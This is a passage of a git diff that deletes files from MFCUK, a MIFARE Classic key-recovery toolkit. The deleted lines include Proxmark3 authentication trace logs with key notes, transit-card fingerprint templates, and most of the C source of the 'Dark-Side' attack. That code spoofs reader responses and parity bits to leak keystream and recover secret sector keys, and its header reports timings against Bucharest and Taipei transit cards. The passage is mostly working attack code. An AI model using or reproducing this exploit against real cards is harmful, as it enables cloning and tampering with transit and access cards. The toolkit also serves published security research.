bd! !crc - + 89104: : 70 ff 99 6c !crc - + 72: 0: TAG 17 97 04 0a! 92! 66! 7d e7! 62 a8 b5! 56 d4 a1 ab! b8 70 4e! !crc - + 87928: : 5e 6c 03 09 !crc - + 72: 0: TAG c5! da 86 a4 a0 24! ab da! f3 d9 95! f3! 2d! 8e! b7! 07 a5! e6 !crc - + 88434: : 2e 91 6d 54 !crc - + 72: 0: TAG b4 37 84 6b! fd! c8 71 f9 bf! a1! 96! af! 85! d3 b9! f0! 5b! 57! !crc - + 87648: : 25 ad 12 4f !crc - + 72: 0: TAG 7a! 21! 36 81 d1! eb d6! 39! 04! b7 28! 3f! b1 19! 2e b2 b4 23! !crc - + 87649: : f1 94 78 4b !crc - + 72: 0: TAG 5f! e4 b5 6c c1 3f ce e4 49 d0! e0! 78 bc 46! 92 0f 7a! e5! !crc - + 104544: : 01 6b c7 c4 !crc - + 72: 0: TAG 95! 78! ca 79! ab! 32 47 8d! 1c! 81! 3d! 26 85 5e f3 02 71 3f! !crc - + 99737: : f6 67 6d 48 !crc - + 72: 0: TAG 4b! 6e fa 87 51 7d 92 a2! fb! 1b! 1d 62! f8! 7b! 2d! cf! c1 20 !crc - + 360330: : b8 59 c0 94 !crc - + 72: 0: TAG b0! 05 25! 4b! 94 8d! 75 62 70! 85 77! e7 a6 1f! 9e! 54 07! d5! !crc - + 443146: : 7f 3a fa 6a !crc - + 72: 0: TAG ac c9 81! b4! de ee! e5! 0b! 73! 79! 6c fe! d8 53 00! e1 3c! f0 !crc - + 198008: : 47 e6 ec f7 !crc - + 72: 0: TAG a6 b1! 1e! 8e! 86! ee d0 4a 4c ee 34 df 6b e6! da 45! d6! ed !crc - + 455019: : 49 13 9c fb !crc - + 72: 0: TAG 31! 1d 7d 21! 22! e3 af! bc ce 6e! 6c! 9f 48 c1! 16! 28! f3! 18 !crc - + 223097: : ff 43 e9 35 !crc - + 72: 0: TAG e5! 41 d7 99! 46 8d! ff e7! 1e! 22 32! d0 93! 9e a1 c5 5c! 32! !crc - -# http://www.proxmark.org/forum/topic/385/error-with-mifarecrackpy/ -# real uid is: ca fd ca 13 -# 0xcafdca13 0xe901a169 0x71034abe 0xf92f512f 0x9925ef9d diff --git a/src/data/logs_proxmark3/trace3.txt b/src/data/logs_proxmark3/trace3.txt deleted file mode 100644 index 582583e..0000000 --- a/src/data/logs_proxmark3/trace3.txt +++ /dev/null @@ -1,30 +0,0 @@ - +2770194: : 26 - + 64: 0: TAG 04 00 - + 1432: : 93 20 - + 64: 0: TAG 5e c2 1c 61 e1 - + 2168: : 93 70 5e c2 1c 61 e1 d5 65 - + 64: 0: TAG 08 b6 dd - + 31064: : 60 08 bd f7 - + 112: 0: TAG d7 b2 ae bd - + 1976: : 60 d1 57 7f aa 02 78 ea !crc - + 599060: : 26 - + 64: 0: TAG 04 00 - + 1424: : 93 20 - + 64: 0: TAG 5e c2 1c 61 e1 - + 2168: : 93 70 5e c2 1c 61 e1 d5 65 - + 64: 0: TAG 08 b6 dd - + 31160: : 60 08 bd f7 - + 112: 0: TAG cc ec 00 cd - + 1976: : 86 ae b4 79 69 34 ed 50 !crc - + 545300: : 26 - + 64: 0: TAG 04 00 - + 1440: : 93 20 - + 64: 0: TAG 5e c2 1c 61 e1 - + 2168: : 93 70 5e c2 1c 61 e1 d5 65 - + 64: 0: TAG 08 b6 dd - + 31144: : 60 08 bd f7 - + 112: 0: TAG 9c 6a 3c 1e - + 1976: : 33 aa 1e 4c 8a a1 58 ed !crc - -# http://www.proxmark.org/forum/post/2346/#p2346 -# 0x5ec21c61 0xd7b2aebd 0x60d1577f 0xaa0278ea 0x26 \ No newline at end of file diff --git a/src/data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd b/src/data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd deleted file mode 100644 index 1b55b0c..0000000 Binary files a/src/data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd and /dev/null differ diff --git a/src/data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd b/src/data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd deleted file mode 100644 index ba10bce..0000000 Binary files a/src/data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd and /dev/null differ diff --git a/src/data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd b/src/data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd deleted file mode 100644 index b8665ee..0000000 Binary files a/src/data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd and /dev/null differ diff --git a/src/mfcuk.c b/src/mfcuk.c deleted file mode 100644 index 3d9aee3..0000000 --- a/src/mfcuk.c +++ /dev/null @@ -1,1911 +0,0 @@ -/* - LICENSE - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -/* - Package: - MiFare Classic Universal toolKit (MFCUK) - - Filename: - mfcuk_keyrecovery_darkside.c - - Name: - Mifare Classic "Dark-Side" Attack to reover at least 1 key for card where NO keys - are known. Uses as a corner-stone the lfsr_common_prefix() from crapto1 3.1 - - After this, the MFOC from Nethemba team is used to recover rest of the - keys using "Nested-Authentication" Attack - - Description: - Implementing Mifare Classic "Dark Side" Key Recovery attack from this paper: - "THE DARK SIDE OF SECURITY BY OBSCURITY" - http://eprint.iacr.org/2009/137.pdf - - For tag fixation it uses the DROP FIELD and CONSTANT DELAY after drop and - before authentication technique. Most of the times it gives pretty good results. - - To improve the overall results, the Nt tag nonces are stored and looked-up in - a sorted array of Nt entries. We can see it as a hash map/lookup table with - resumable states for given tag nonces. - cons - extends the timeslot of attack - pros - makes attack more stable since tag nonce fixation is not as accurate - on ACR122 as on Proxmark3 or other specialized devices - - License: - GPL2 (see below), Copyright (C) 2009, Andrei Costin - - OS/Envs supported: - Linux - Windows - MacOS - Cygwin - - Hardware tested/supported: - ACR 122U (usb) - - Compiling: - Linux/MacOS/Cygwin - gcc -o zv_mf_dark_side zv_mf_dark_side.c ./crapto1-v3.1/crapto1.c - ./crapto1-v3.1/crypto1.c ./libnfc-v1.2.1/bin/libnfc.lib -lnfc - -I./libnfc-v1.2.1/include -L./libnfc-v1.2.1/lib - MSVS - just copy an existing project (nfc-anticol for example) from libnfc-1.2.1-vs2005, - add the crapto1 .c files to the project and zv_mf_dark_side.c - - Usage: - ./mfcuk_keyrecovery_darkside -h - c:\mfcuk_keyrecovery_darkside.exe -h - - Results: - about 2 minutes to recover first key for RATB Bucharest cards (10ms & 50ms sleeps) - about 3 minutes to recover first key for EasyCard Taipei (10ms & 50ms sleeps) - - Known Issues: - 1. The tag fixation with ACR122 is not performing well if CPU is under high load (eg. Flash Movie playing in IE, etc.) - 2. Either a bug in libnfc 1.2.1 or a bug in RATB card-types 0x88 consecutive authentication goes like - one fails, one ok, even though correct keys are used - 2.a Maybe need to check AC bits? - 2.b Maybe AC bits/0x88 cards need a read/write or failed operation in between for the "state" to be ok and next auth to be successful? - - Contact, bug-reports: - http://andreicostin.com/ - mailto:zveriu@gmail.com - - Requirements: - crapto1 library 3.1 (http://code.google.com/p/crapto1) - libnfc 1.4.2 (http://www.libnfc.org) - - * @file mfcuk.c -*/ - -/* - VERSION HISTORY --------------------------------------------------------------------------------- -| Number : 0.1 -| dd/mm/yyyy : 14/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Initial version as POC, Windows MS Visual Studio version only --------------------------------------------------------------------------------- -| Number : 0.2 -| dd/mm/yyyy : 14/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Fixed some info; removed uneeded code, variables, commented lines; -| proper identation; introduced some portability fixes; --------------------------------------------------------------------------------- -| Number : 0.3 -| dd/mm/yyyy : 14/11/2009 -| Author : zveriu@gmail.com, http://andreicostin.com -| Description: Restructured the functionality into reusable modules, preparing -| for MFCUK package and integration with MFOC; autogen and automake packaging; --------------------------------------------------------------------------------- -*/ - -#include "config.h" - -#include -#include -#include - -#if defined(HAVE_SYS_TYPES_H) -# include -#endif - -#if defined(HAVE_SYS_ENDIAN_H) -# include -#endif - -#if defined(HAVE_ENDIAN_H) -# include -#endif - -#if defined(HAVE_COREFOUNDATION_COREFOUNDATION_H) -# include -#endif - -#if defined(HAVE_BYTESWAP_H) -# include -#endif - -#if defined (__GNUC__) -# define GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__ * 10) -# if GCC_VERSION >= 430 -// Since GCC >= 4.30, GCC provides __builtin_bswapXX() alternatives so we switch to them -# undef bswap_16 -# define bswap_16 __builtin_bswap16 -# undef bswap_32 -# define bswap_32 __builtin_bswap32 -# undef bswap_64 -# define bswap_64 __builtin_bswap64 -# endif -#endif - -// Fallback... -#if !defined (bswap_16) || !defined (bswap_32) || !defined (bswap_64) -# warning "No bswap function found! Using untested alternatives..." - static inline uint16_t bswap_16(uint16_t x) { - return (x>>8) | (x<<8); - } - - static inline uint32_t bswap_32(uint32_t x) { - return (bswap_16(x&0xffff)<<16) | (bswap_16(x>>16)); - } - - static inline uint64_t bswap_64(uint64_t x) { - return (((uint64_t)bswap_32(x&0xffffffffull))<<32) | (bswap_32(x>>32)); - } -#endif - - -#include -#include -#include - -#ifdef WIN32 - #define NOMINMAX - #include "windows.h" - #include "xgetopt.h" -#elif __STDC__ - #include - #include - #include -#endif - -// NFC -#include -#include - -// Crapto1 -#include "crapto1.h" - // FIXME: For some reason (reason=I am dumb perhaps), these two prototypes are not visible form crapto1.h, so I put them here - struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]); - uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb); - // :FIXME - -// imported from libnfc's examples -#include "mifare.h" -#include "nfc-utils.h" - -// internal -#include "mfcuk_mifare.h" -#include "mfcuk_utils.h" -#include "mfcuk_finger.h" -#include "mfcuk.h" - -#define MAX_FRAME_LEN 264 - -#ifdef DEBUG -# warning Debug mode is enabled -# define WARN(...) fprintf(stderr, "%s %d: ", __FILE__, __LINE__ ); warnx (" WARNING: " __VA_ARGS__ ) -# define ERR(...) fprintf(stderr, "%s %d: ", __FILE__, __LINE__ ); warnx (" ERROR " __VA_ARGS__ ) -#else -# define WARN(...) warnx ("WARNING: " __VA_ARGS__ ) -# define ERR(...) warnx ("ERROR: " __VA_ARGS__ ) -#endif - -extern mfcuk_finger_tmpl_entry mfcuk_finger_db[]; -extern int mfcuk_finger_db_entries; - -// TODO: rename the array and number of items in array variable names -tag_nonce_entry_t arrSpoofEntries[MAX_TAG_NONCES]; // "Cache" array of already received tag nonces, since we cannot 100% fix one tag nonce as of now -uint32_t numSpoofEntries = 0; // Actual number of entries in the arrSpoofEntries -uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc. -bool bfOpts[256] = {false}; // Command line options, indicates their presence, initialize with false -byte_t verboseLevel = 0; // No verbose level by default - -static const nfc_modulation_t nmMifare = { - .nmt = NMT_ISO14443A, - .nbr = NBR_106, -}; - -int compareTagNonces (const void * a, const void * b) -{ - // TODO: test the improvement (especially corner cases, over/under-flows) "return ( (*(uint32_t*)a) - (*(uint32_t*)b) ); - if ( *(uint32_t*)a > *(uint32_t*)b ) return 1; - if ( *(uint32_t*)a == *(uint32_t*)b ) return 0; - if ( *(uint32_t*)a < *(uint32_t*)b ) return -1; - - return 0; // Never reach here, but keep compilers happy -} - -// TODO: combine mfcuk_verify_key_block() with mfcuk_recover_key_block(), since a lot of code is duplicate -uint32_t mfcuk_verify_key_block(nfc_device_t* pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, byte_t bTagType, uint32_t uiBlock) -{ - uint32_t pos; - - // Keystream related variables - for verification with Crapto1/Crypto1 rollback - uint32_t nr_encrypted = 0; - uint32_t reader_response = 0; - uint32_t tag_response = 0; - uint32_t ks2 = 0; - uint32_t ks3 = 0; - struct Crypto1State *pcs; - uint64_t lfsr; - - // Communication related variables - byte_t abtAuth[4] = { 0x00,0x00,0x00,0x00 }; - byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - byte_t abtRx[MAX_FRAME_LEN]; - byte_t abtRxPar[MAX_FRAME_LEN]; - size_t szRx; - uint32_t nt, nt_orig; // Supplied tag nonce - - if ( (bKeyType != keyA) && (bKeyType != keyB) ) - { - return MFCUK_FAIL_KEYTYPE_INVALID; - } - - if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) - { - return MFCUK_FAIL_TAGTYPE_INVALID; - } - - if ( !is_valid_block(bTagType, uiBlock) ) - { - return MFCUK_FAIL_BLOCK_INVALID; - } - - // Configure the authentication frame using the supplied block - abtAuth[0] = bKeyType; - abtAuth[1] = uiBlock; - iso14443a_crc_append(abtAuth,2); - - // Now we take over, first we need full control over the CRC - if ( !nfc_configure(pnd,NDO_HANDLE_CRC,false) ) - { - return MFCUK_FAIL_COMM; - } - - // We need to disable EASY_FRAMING feature to talk in "raw" mode - nfc_configure (pnd, NDO_EASY_FRAMING, false); - - // Request plain tag-nonce - if (!nfc_initiator_transceive_bytes(pnd,abtAuth,4,abtRx,&szRx, NULL)) - { - return MFCUK_FAIL_COMM; - } - nfc_configure (pnd, NDO_EASY_FRAMING, true); - - // Save the tag nonce (nt) - nt = bswap_32(*((uint32_t *) abtRx)); - nt_orig = nt; - - // Init cipher with key - pcs = crypto1_create(ui64Key); - - // Load (plain) uid^nt into the cipher - for (pos=0; pos<4; pos++) - { - // Update the cipher with the tag-initialization - crypto1_byte(pcs, ((uiUID >> (8*(3-pos))) & 0xFF ) ^ abtRx[pos], 0); - } - - // Generate (encrypted) nr+parity by loading it into the cipher (Nr) - for (pos=0; pos<4; pos++) - { - // Load in, and encrypt, the reader nonce (plain nr=0x00000000) - abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00; - - // Encrypt the parity bits for the 4 plaintext bytes of nr - abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00); - - // Get the keystream encrypted Nr value currently loaded into the cypher, i.e. {Nr} - nr_encrypted = nr_encrypted << 8; - nr_encrypted = nr_encrypted | abtArEnc[pos]; - } - - // Skip 32 bits in pseudo random generator - nt = prng_successor(nt,32); - - // Generate reader-answer from tag-nonce (Ar) - for (pos=4; pos<8; pos++) - { - // Get the next random byte for verify the reader to the tag - nt = prng_successor(nt,8); - - // Encrypt the reader-answer (nt' = suc2(nt)) - abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff); - - // Encrypt the parity bits for the 4 plaintext bytes of nt' - abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff); - - // Get the keystream encrypted reader response currently loaded into the cypher, i.e. {Ar} - reader_response = reader_response << 8; - reader_response = reader_response | abtArEnc[pos]; - } - - // Finally we want to send arbitrary parity bits - if ( !nfc_configure(pnd,NDO_HANDLE_PARITY,false) ) - { - return MFCUK_FAIL_COMM; - } - - if ( !nfc_initiator_transceive_bits(pnd,abtArEnc,64,abtArEncPar,abtRx,&szRx,abtRxPar) ) - { - return MFCUK_FAIL_AUTH; - } - - crypto1_destroy(pcs); - - if (szRx == 32) - { - for (pos=0; pos<4; pos++) - { - tag_response = tag_response << 8; - tag_response = tag_response | abtRx[pos]; - } - - ks2 = reader_response ^ prng_successor(nt_orig, 64); - ks3 = tag_response ^ prng_successor(nt_orig, 96); - pcs = lfsr_recovery64(ks2, ks3); - - lfsr_rollback_word(pcs, 0, 0); - lfsr_rollback_word(pcs, 0, 0); - lfsr_rollback_word(pcs, nr_encrypted, 1); - lfsr_rollback_word(pcs, uiUID ^ nt_orig, 0); - crypto1_get_lfsr(pcs, &lfsr); - - crypto1_destroy(pcs); - - if (lfsr != ui64Key) - { - return MFCUK_FAIL_CRAPTO; - } - } - else - { - return MFCUK_FAIL_AUTH; - } - - return MFCUK_SUCCESS; -} - -uint32_t mfcuk_key_recovery_block(nfc_device_t* pnd, uint32_t uiUID, uint64_t ui64Key, mifare_key_type bKeyType, byte_t bTagType, uint32_t uiBlock, uint64_t *ui64KeyRecovered) -{ - // Communication variables - uint32_t pos, pos2, nt; - struct Crypto1State* pcs; - byte_t abtAuth[4] = { 0x60,0x00,0x00,0x00 }; - byte_t abtArEnc[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - byte_t abtArEncPar[8] = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; - byte_t abtRx[MAX_FRAME_LEN]; - byte_t abtRxPar[MAX_FRAME_LEN]; - size_t szRx; - - // zveriu - static uint32_t nt_orig = 0; - char sendSpoofAr = 0; // We want to spoof the Ar response with all 0s and the use random parity bits for that Nt until we have a successful 4 bits response (0x5) - tag_nonce_entry_t *ptrFoundTagNonceEntry = NULL; - - // Key-recovery variables - struct Crypto1State *states_list; - struct Crypto1State *current_state; - uint32_t i; - uint64_t key_recovered; - byte_t flag_key_recovered = 0; // FIXME: fix the {Nr} iteration properly. This a quick fix for cases when 0xDEADBEEF {Nr} is not working - - if ( (bKeyType != keyA) && (bKeyType != keyB) ) - { - return MFCUK_FAIL_KEYTYPE_INVALID; - } - - if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) - { - return MFCUK_FAIL_TAGTYPE_INVALID; - } - - if ( !is_valid_block(bTagType, uiBlock) ) - { - return MFCUK_FAIL_BLOCK_INVALID; - } - - // Configure the authentication frame using the supplied block - abtAuth[0] = bKeyType; - abtAuth[1] = uiBlock; - iso14443a_crc_append(abtAuth,2); - - // Now we take over, first we need full control over the CRC - nfc_configure(pnd,NDO_HANDLE_CRC,false); - - // We need to disable EASY_FRAMING feature to talk in "raw" mode - nfc_configure (pnd, NDO_EASY_FRAMING, false); - - // Request plain tag-nonce - //printf("Nt: "); - if (!nfc_initiator_transceive_bytes(pnd,abtAuth,4,abtRx,&szRx, NULL)) - { - //printf("\n\nFAILURE - Failed to get TAG NONCE!!!\n\n"); - return MFCUK_FAIL_COMM; - } - nfc_configure (pnd, NDO_EASY_FRAMING, true); - - //print_hex(abtRx,4); - - // Save the tag nonce (nt) - nt = bswap_32(*((uint32_t *) &abtRx)); - - // zveriu - //printf("INFO - Nonce distance %d (from 0x%08x, to 0x%08x)\n", nonce_distance(nt, nt_orig), nt, nt_orig); - nt_orig = nt; - - // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16 - ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); - - // A new tag nonce detected, initialize it properly and store in the tag nonce "cache" array for use in it's next appearances - if (!ptrFoundTagNonceEntry) - { - if (numSpoofEntries >= MAX_TAG_NONCES) - { - //printf("\n\nFAILURE - REACHED MAX_TAG_NONCES!!! (Are we so unlucky or the USB/reader is buggy?!)\n\n"); - return MFCUK_FAIL_MEMORY; - } - - arrSpoofEntries[numSpoofEntries].tagNonce = nt_orig; - arrSpoofEntries[numSpoofEntries].num_of_appearances = 1; - numSpoofEntries++; - - // Max log(2, MAX_TAG_NONCES) searches, i.e. log(2, 65536) = 16 - qsort(arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); - - ptrFoundTagNonceEntry = (tag_nonce_entry_t *) bsearch((void *)(&nt_orig), arrSpoofEntries, numSpoofEntries, sizeof(arrSpoofEntries[0]), compareTagNonces); - - // Put the initializations done in abtRxLen == 32 section here also because maybe we don't know the key actually - ptrFoundTagNonceEntry->spoofFlag = 1; - - // Hardcoding {Nr} and {Ar} and try to guess parity bits - ptrFoundTagNonceEntry->spoofNrEnc = MFCUK_DARKSIDE_START_NR; - ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; - ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; - - // First we need to satisfy STAGE1 - ptrFoundTagNonceEntry->current_out_of_8 = -1; - } - else - { - ptrFoundTagNonceEntry->num_of_appearances++; - - - if ( // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr} - (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) || - // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK - ( (ptrFoundTagNonceEntry->current_out_of_8 >= 0) && (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20) ) - ) - { - // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same - ptrFoundTagNonceEntry->spoofNrEnc++; - ptrFoundTagNonceEntry->spoofArEnc = MFCUK_DARKSIDE_START_AR; - ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; - ptrFoundTagNonceEntry->current_out_of_8 = -1; - - return MFCUK_FAIL_AUTH; - } - - /* - // TODO: if above block is working fine, delete this commented - above one created to reduce code-duplication - // If we went beyond MFCUK_DARKSIDE_MAX_LEVELS without findind a key, need to check next {Nr} - if (ptrFoundTagNonceEntry->current_out_of_8 >= MFCUK_DARKSIDE_MAX_LEVELS) - { - //printf("FAILURE - This Nt, {Pfx}, consecutive {Nr}s and {ParBits} combination cannot produce a key-recoverable state\n"); - //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n"); - - //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); - ptrFoundTagNonceEntry->spoofNrEnc++; - ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE; - ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; - - // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same - ptrFoundTagNonceEntry->current_out_of_8 = -1; - - return MFCUK_FAIL_AUTH; - } - - if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) - { - // Can have only 32 combinations of the last 5 bits of parity bits which generated the first NACK - if (ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8] >= 0x20) - { - //printf("FAILURE - This consecutive {Nr}s and {ParBits} combination cannot produce all 8 required NACKs and KSs of NACKs\n"); - //printf("\tINFO: try changing initial {Nr}, {Ar} and timings of sleep()\n"); - - //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); - ptrFoundTagNonceEntry->spoofNrEnc++; - ptrFoundTagNonceEntry->spoofArEnc = 0xFACECAFE; - ptrFoundTagNonceEntry->spoofParBitsEnc = 0x0; - - // If no key discovered for current {Nr}, {Ar}, 29bit-prefix, go back to satisfy STAGE1 with other {Nr} value, {Ar} we keep the same - ptrFoundTagNonceEntry->current_out_of_8 = -1; - - return MFCUK_FAIL_AUTH; - } - } - */ - } - - sendSpoofAr = ptrFoundTagNonceEntry->spoofFlag; - - // Init cipher with key - pcs = crypto1_create(ui64Key); - - // Load (plain) uid^nt into the cipher - for (pos=0; pos<4; pos++) - { - // Update the cipher with the tag-initialization - // TODO: remove later - crypto1_byte(pcs, pbtUid[pos]^abtRx[pos], 0); - crypto1_byte(pcs, ((uiUID >> (8*(3-pos))) & 0xFF ) ^ abtRx[pos], 0); - } - - // Generate (encrypted) nr+parity by loading it into the cipher (Nr) - for (pos=0; pos<4; pos++) - { - // Load in, and encrypt, the reader nonce (plain nr=0x00000000) - abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ 0x00; - - // Encrypt the parity bits for the 4 plaintext bytes of nr - abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(0x00); - - if (sendSpoofAr) - { - if (ptrFoundTagNonceEntry->current_out_of_8 < 0) - { - abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofNrEnc >> (8*(3-pos))) & 0xFF; - abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7-pos)) & 0x01; - } - else - { - abtArEnc[pos] = (ptrFoundTagNonceEntry->nrEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8*(3-pos))) & 0xFF; - abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7-pos)) & 0x01; - } - } - } - - // Skip 32 bits in pseudo random generator - nt = prng_successor(nt,32); - - // Generate reader-answer from tag-nonce (Ar) - for (pos=4; pos<8; pos++) - { - // Get the next random byte for verify the reader to the tag - nt = prng_successor(nt,8); - - // Encrypt the reader-answer (nt' = suc2(nt)) - abtArEnc[pos] = crypto1_byte(pcs,0x00,0) ^ (nt&0xff); - // Encrypt the parity bits for the 4 plaintext bytes of nt' - abtArEncPar[pos] = filter(pcs->odd) ^ oddparity(nt&0xff); - - // zveriu - Make the Ar incorrect, but leave parity bits calculated/guessed_spoofed as above - /* If all eight parity bits are correct, but the answer Ar is - wrong, the tag responds with the 4-bit error code 0x5 - signifying failed authentication, called ‘transmission error’ in [KHG08]. - */ - if (sendSpoofAr) - { - if (ptrFoundTagNonceEntry->current_out_of_8 < 0) - { - abtArEnc[pos] = (ptrFoundTagNonceEntry->spoofArEnc >> (8*(7-pos))) & 0xFF; - abtArEncPar[pos] = (ptrFoundTagNonceEntry->spoofParBitsEnc >> (7-pos)) & 0x01; - } - else - { - abtArEnc[pos] = (ptrFoundTagNonceEntry->arEnc[ptrFoundTagNonceEntry->current_out_of_8] >> (8*(7-pos))) & 0xFF; - abtArEncPar[pos] = ((ptrFoundTagNonceEntry->parBits[ptrFoundTagNonceEntry->current_out_of_8] + ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]) >> (7-pos)) & 0x01; - } - } - } - - if (ptrFoundTagNonceEntry->current_out_of_8 >= 0) - { - // Prepare for the next round (if this one is not successful) the next 5 bit combination for current parity bits - ptrFoundTagNonceEntry->parBitsCrntCombination[ptrFoundTagNonceEntry->current_out_of_8]++; - } - - // Finally we want to send arbitrary parity bits - nfc_configure(pnd,NDO_HANDLE_PARITY,false); - - // Transmit reader-answer - //printf(" Ar: "); - //print_hex_par(abtArEnc,64,abtArEncPar); - - if (!nfc_initiator_transceive_bits(pnd,abtArEnc,64,abtArEncPar,abtRx,&szRx,abtRxPar)) - { - if (sendSpoofAr) - { - ptrFoundTagNonceEntry->spoofParBitsEnc++; - } - - return MFCUK_FAIL_AUTH; - } - - // zveriu - Successful: either authentication (szRx == 32) either encrypted 0x5 reponse (szRx == 4) - if (szRx == 4) - { - //printf("INFO - 4-bit (szRx=%d) error code 0x5 encrypted (abtRx=0x%02x)\n", szRx, abtRx[0] & 0xf); - - if (ptrFoundTagNonceEntry->current_out_of_8 < 0) - { - ptrFoundTagNonceEntry->spoofNackEnc = abtRx[0] & 0xf; - ptrFoundTagNonceEntry->spoofKs = ptrFoundTagNonceEntry->spoofNackEnc ^ 0x5; - ptrFoundTagNonceEntry->spoofNrPfx = ptrFoundTagNonceEntry->spoofNrEnc & 0xFFFFFF1F; - - // Initialize the {Nr} with proper 29 bits prefix and {Par} with proper 3 bits prefix - for (pos=0; pos<8; pos++) - { - ptrFoundTagNonceEntry->nrEnc[pos] = ptrFoundTagNonceEntry->spoofNrPfx | pos << 5; - ptrFoundTagNonceEntry->arEnc[pos] = ptrFoundTagNonceEntry->spoofArEnc; - ptrFoundTagNonceEntry->parBits[pos] = ptrFoundTagNonceEntry->spoofParBitsEnc & 0xE0; - ptrFoundTagNonceEntry->parBitsCrntCombination[pos] = 0; - } - - // Mark the begining of collecting STAGE2 probes - ptrFoundTagNonceEntry->current_out_of_8 = 0; - } - else - { - ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] = abtRx[0] & 0xf; - ptrFoundTagNonceEntry->ks[ptrFoundTagNonceEntry->current_out_of_8] = ptrFoundTagNonceEntry->nackEnc[ptrFoundTagNonceEntry->current_out_of_8] ^ 0x5; - ptrFoundTagNonceEntry->current_out_of_8++; - - if (ptrFoundTagNonceEntry->current_out_of_8 == 8) - { - for (pos=0; pos<8; pos++) - { - for (pos2=0; pos2<8; pos2++) - { - ptrFoundTagNonceEntry->parBitsArr[pos][pos2] = ( (ptrFoundTagNonceEntry->parBits[pos] + ptrFoundTagNonceEntry->parBitsCrntCombination[pos] - 1) >> (7-pos2)) & 0x01; - } - } - - states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr); - - for (i=0; (states_list) && ((states_list+i)->odd != 0 || (states_list+i)->even != 0) && (itagNonce, 0); - crypto1_get_lfsr(current_state, &key_recovered); - - if ( bfOpts['v'] && (verboseLevel > 1) ) - { - printf("\nINFO: block %d recovered KEY: %012"PRIx64"\n", uiBlock, key_recovered); - } - - flag_key_recovered = 1; - - *ui64KeyRecovered = key_recovered; - } - - crypto1_destroy(states_list); - - if (!flag_key_recovered) - { - //printf("{Nr} is not a DEADBEEF.... Need to find BEEF ALIVE!... Trying next one...\n"); - ptrFoundTagNonceEntry->spoofNrEnc++; - ptrFoundTagNonceEntry->spoofArEnc = 